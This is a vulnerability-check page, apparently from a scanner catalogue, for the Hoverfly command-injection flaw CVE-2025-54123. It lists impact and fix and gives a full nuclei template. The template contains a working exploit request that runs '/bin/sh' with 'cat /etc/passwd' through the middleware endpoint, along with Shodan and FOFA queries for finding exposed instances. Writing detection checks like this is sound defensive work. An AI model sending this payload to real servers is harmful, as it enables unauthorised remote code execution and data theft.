Hoverfly <= 1.11.3 - Remote Code Execution

criticalseverity

10.9%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Hoverfly versions 1.11.3 and below are vulnerable to remote code execution (RCE) via command injection in the middleware API endpoint (/api/v2/hoverfly/middleware). Insufficient validation of the 'binary' and 'script' parameters allows an unauthenticated attacker to execute arbitrary commands on the host system.

Impact

Unauthenticated attackers can inject arbitrary operating system commands through the middleware API endpoint, achieving complete server compromise.

Fix

Upgrade Hoverfly to a version later than 1.11.3 that properly validates the binary and script parameters in the middleware endpoint.

How to confirm it

Send: PUT /api/v2/hoverfly/middleware
Positive when: status_code == 422 and regex('root:x:0:0', body) and contains_all(body, 'STDOUT:','hoverfly')

Run it with nuclei: nuclei -id CVE-2025-54123 -u <target>

The full check

id: CVE-2025-54123

info:
  name: Hoverfly <= 1.11.3 - Remote Code Execution
  author: nukunga[seonghyeonJeon]
  severity: critical
  description: |
    Hoverfly versions 1.11.3 and below are vulnerable to remote code execution (RCE) via command injection in the middleware API endpoint (/api/v2/hoverfly/middleware). Insufficient validation of the 'binary' and 'script' parameters allows an unauthenticated attacker to execute arbitrary commands on the host system.
  impact: |
    Unauthenticated attackers can inject arbitrary operating system commands through the middleware API endpoint, achieving complete server compromise.
  remediation: |
    Upgrade Hoverfly to a version later than 1.11.3 that properly validates the binary and script parameters in the middleware endpoint.
  reference:
    - https://github.com/advisories/GHSA-r4h8-hfp2-ggmf
    - https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf
  metadata:
    verified: true
    max-requests: 1
    shodan-query:
      - http.favicon.hash:1357234275
      - title:"Hoverfly Dashboard"
    fofa-query:
      - icon_hash="1357234275"
      - title="Hoverfly Dashboard"
  tags: cve,cve2025,hoverfly,rce,intrusive,vuln,vkev

http:
  - raw:
      - |
        PUT /api/v2/hoverfly/middleware HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "binary": "/bin/sh",
          "script": "cat /etc/passwd"
        }

    matchers:
      - type: dsl
        dsl:
          - "status_code == 422"
          - "regex('root:x:0:0', body)"
          - "contains_all(body, 'STDOUT:','hoverfly')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from